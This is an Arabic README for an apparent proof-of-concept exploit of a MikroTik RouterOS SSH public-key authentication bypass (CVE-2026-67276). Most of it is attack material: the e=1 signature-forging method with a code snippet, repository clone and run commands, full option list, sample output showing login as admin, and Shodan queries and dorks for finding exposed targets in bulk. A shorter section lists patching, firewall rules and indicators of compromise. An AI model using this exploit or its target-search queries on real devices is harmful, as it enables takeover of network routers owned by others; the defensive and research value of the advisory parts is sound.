
# استغلال تجاوز المصادقة SSH في MikroTik RouterOS CVE-2026-67276
تجاوز مصادقة المفتاح العام SSH في MikroTik RouterOS - لا يتطلب مفتاح خاص
إثبات مفهوم لاستغلال CVE-2026-67276 (MikroTrick)، وهي ثغرة حرجة في تجاوز المصادقة في تطبيق SSH الخاص بـ MikroTik RouterOS تسمح للمهاجمين بالمصادقة كأي مستخدم دون امتلاك مفتاحهم الخاص.
CVE-2026-67276 جزء من سلسلة هجوم أكبر أطلق عليها اسم "MikroTrick" من قبل CERT PL، والتي لوحظ استغلالها بنشاط في البرية:
مصادقة SSH في RouterOS تحتوي على خلل حرج في طريقة التحقق من المفاتيح العامة:
{ssh-rsa, e=1, n=معامل_الضحية} يجعل التحقق تافهاًالتحقق القياسي من RSA: sig^65537 mod n == المتوقع (يتطلب مفتاح خاص)
التحقق المستغل: sig^1 mod n == sig (لا يتطلب مفتاح خاص!)
مع الأس e=1، يصبح التحقق من التوقيع:
sig^1 mod n == sig
هذا يعني أن "التوقيع" هو ببساطة رسالة EMSA-PKCS1-v1_5 المشفرة نفسها - يمكن إنشاؤها من قبل أي شخص يعرف المعامل العام للضحية.
n لذلك المفتاح المصرح به (من ملف .pub، اتصالات سابقة، إلخ)| الفرع | النطاق المتأثر | الإصدار المُصحح |
|---|---|---|
| 6.x | 6.0 - 6.49.20 | 6.49.21+ |
# استنساخ المستودع
git clone https://github.com/BlackHatExploitation/exploit-mikrotik-2026.git
cd exploit-mikrotik-2026
# تثبيت التبعيات
pip install paramiko cryptography
# استغلال أساسي - يولّد مفتاحاً تلقائياً ويكتشف الإصدار
python3 full_exploit.py --host 192.168.88.1 --username admin
# تنفيذ أمر بعد المصادقة
python3 full_exploit.py --host 192.168.88.1 --username admin --exec '/system resource print'
# منفذ مخصص
python3 full_exploit.py --host 192.168.88.1 --port 2222 --username admin
# إذا كان لديك ملف المفتاح العام للضحية
python3 full_exploit.py --host 192.168.88.1 --username admin --pubkey victim.pub
# أو توفير المعامل مباشرة
python3 full_exploit.py --host 192.168.88.1 --username admin --modulus-hex "00:ab:cd:..."
يكتشف الاستغلال تلقائياً إصدار RouterOS ويتحقق من حالة الثغرة:
# فرض الاستغلال حتى على غير MikroTik أو إصدار غير معروف
python3 full_exploit.py --host 192.168.88.1 --username admin --skip-version-check
--host عنوان IP/اسم مضيف RouterOS المستهدف (مطلوب)
--port منفذ SSH (الافتراضي: 22)
--username اسم مستخدم RouterOS المستهدف (مطلوب)
--pubkey ملف المفتاح العام RSA (يولّد تلقائياً إذا لم يُقدم)
--modulus-hex معامل RSA بصيغة hex (بديل عن --pubkey)
--algos خوارزميات التوقيع (الافتراضي: ssh-rsa,rsa-sha2-256)
--exec الأمر المراد تنفيذه بعد المصادقة
--exp-enc ترميز الأس: canonical (1 بايت) أو aligned (3 بايت)
--timeout مهلة الاتصال (الافتراضي: 15.0 ثانية)
--skip-version-check تخطي التحقق من إصدار RouterOS
--shodan-dorks طباعة استعلامات بحث Shodan
--shodan-search البحث في Shodan API عن الأهداف
--shodan-key مفتاح Shodan API
--shodan-query استعلام Shodan مخصص
--shodan-limit حد نتائج Shodan (الافتراضي: 100)
python3 full_exploit.py --shodan-dorks
# بحث أساسي
python3 full_exploit.py --shodan-search --shodan-key YOUR_API_KEY
# استعلام مخصص
python3 full_exploit.py --shodan-search --shodan-key YOUR_KEY --shodan-query 'MikroTik port:22 country:US'
string "ssh-rsa"
mpint e (الأس العام) <- يقدمه المهاجم كـ e=1
mpint n (المعامل) <- المعامل الفعلي للضحية
# "التوقيع" هو ببساطة بيانات المصادقة المشفرة بـ EMSA-PKCS1-v1_5
def forged_signature(data, sig_alg, n):
k = (n.bit_length() + 7) // 8
block = emsa_pkcs1_v15(data, sig_alg, k)
return block # هذا هو التوقيع الصحيح عندما يكون e=1
ssh-rsa حتى مع خوارزميات rsa-sha2-256/512[*] CVE-2026-67276 MikroTrick Exploit
[*] الهدف: 192.168.88.1:22
[*] اكتشاف إصدار RouterOS...
[*] لافتة SSH: SSH-2.0-ROSSSH-7.23.3
[*] إصدار RouterOS: 7.23.3
[+] الإصدار متأثر - CVE-2026-67276 ينطبق
[*] توليد زوج مفاتيح RSA بطول 2048 بت...
[+] تم حفظ المفتاح الخاص: /path/to/exploit_key
[+] تم حفظ المفتاح العام: /path/to/exploit_key.pub
[*] المعامل: 2048 بت | e=1 مزور
[*] ترميز الأس: canonical (01)
[*] محاولة rsa-sha2-256 ...
[+] تمت المصادقة باسم 'admin' عبر rsa-sha2-256
[+] تم تأكيد CVE-2026-67276 - الهدف متأثر
--- مخرجات الأمر ---
uptime: 14d23h45m12s
version: 7.23.3 (stable)
build-time: Sep/01/2026 12:00:00
# التحقق من الإصدار الحالي
/system resource print
# الترقية إلى الإصدار المُصحح
/system package update download
/system reboot
الحد الأدنى للإصدارات الآمنة:
/ip service disable ssh
# حسب عنوان IP
/ip service set ssh address=192.168.88.0/24
# قاعدة جدار الحماية
/ip firewall filter add chain=input dst-port=22 protocol=tcp \
src-address=!192.168.88.0/24 action=drop
# التحقق من المستخدمين المشبوهين
/user print
# التحقق من مستخدم "ops" (مؤشر معروف للمهاجمين)
/user print where name=ops
# التحقق من حالة وضع الجهاز المعلّم
/system/device-mode/print
# التحقق من السجلات
/log print where topics~"ssh"
مؤشرات اختراق معروفة:
login failure for user -2 via sshops82.192.72.4, 103.102.31.18⚠️ هذه الأداة مقدمة لأغراض اختبار الأمان المصرح به والأغراض التعليمية فقط.
رخصة MIT - انظر LICENSE للتفاصيل.
إثبات مفهوم بحث أمني - تنفيذ مخبري لـ CVE-2026-67276
قم بتمييز هذا المستودع بنجمة إذا وجدته مفيداً!
| التفصيل | المعلومات |
|---|
| معرف CVE | CVE-2026-67276 |
| الخطورة | حرجة (CVSS 9.8) |
| CWE | CWE-347 (تحقق غير صحيح من التوقيع المشفر) |
| ناقل الهجوم | الشبكة |
| المصادقة | لا شيء |
| التعقيد | منخفض |
| التأثير | اختراق كامل للجهاز |
| CVE | النوع | الوصف |
|---|
| CVE-2026-67276 | تجاوز مصادقة | تجاوز مصادقة المفتاح العام SSH عبر تزوير الأس |
| CVE-2026-86060 | تصعيد صلاحيات | حقن وسائط عبر اسم المستخدم |
| CVE-2026-67279 | تجاوز مصادقة | اتصال SSH دون إكمال مصادقة المستخدم |
| CVE-2026-67277 | كشف معلومات | تسرب ذاكرة النواة عبر bandwidth-test |
| CVE-2026-67278 | تجاوز توقيع | قبول توقيع X.509 مشوه |
| CVE-2026-67281 | قراءة ملفات | قراءة ملفات الجذر في WebFig عبر jsproxy |
| 7.0 - 7.23.3 |
| 7.23.4+ |
| 7.x تجريبي | 7.24.0 - 7.24.1 | 7.24.2+ |
| الهدف | الاستعلام |
|---|
| جميع MikroTik | MikroTik |
| MikroTik SSH | MikroTik port:22 |
| Winbox مكشوف | port:8291 |
| لوحة WebFig | http.title:RouterOS |
| RouterOS 6.49.x | MikroTik "6.49" |
| RouterOS 7.x | MikroTik "RouterOS v7" |
| حسب الدولة | MikroTik country:US |
| مؤشر الثغرة | MikroTik ("6.49" OR "7.23" OR "7.24.0") |